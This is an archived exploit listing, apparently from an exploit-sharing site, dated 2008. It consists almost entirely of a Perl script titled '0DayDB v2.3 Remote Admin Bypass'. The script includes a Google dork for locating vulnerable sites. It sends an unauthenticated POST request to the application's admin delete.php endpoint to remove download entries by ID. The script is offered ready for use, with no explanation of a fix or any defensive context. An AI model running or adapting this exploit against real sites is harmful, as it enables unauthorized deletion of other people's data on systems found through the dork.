Home / os / win10

0DayDB-bypass.txt

Posted on 12 January 2008

#!/usr/bin/perl
#Autor : Pr0metheuS
#Script : 0DayDB v2.3
#Version : v2.3
#Dork : "Powered By 0DayDB v2.3"
#Gr33tz-Team.org
use LWP::UserAgent;
if(@ARGV!=3){
print "*****************
";
print "0DayDB v2.3 Remote Admin Bypass
";
print "perl $0 <site> <path> <id>
";
print "downloads ID for delete
";
print "*****************
";
}
($site,$path,$id)=@ARGV;
sub pri {
print "*****************
";
print "[+] Exploit completed
";
print "*****************";
}
sub con {
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(POST => "".$site."".$path."/acp/delete.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("id=".$id."");
$res = $ua->request($req);
if ($res->is_success) {
pri();
}
}
con();

 

TOP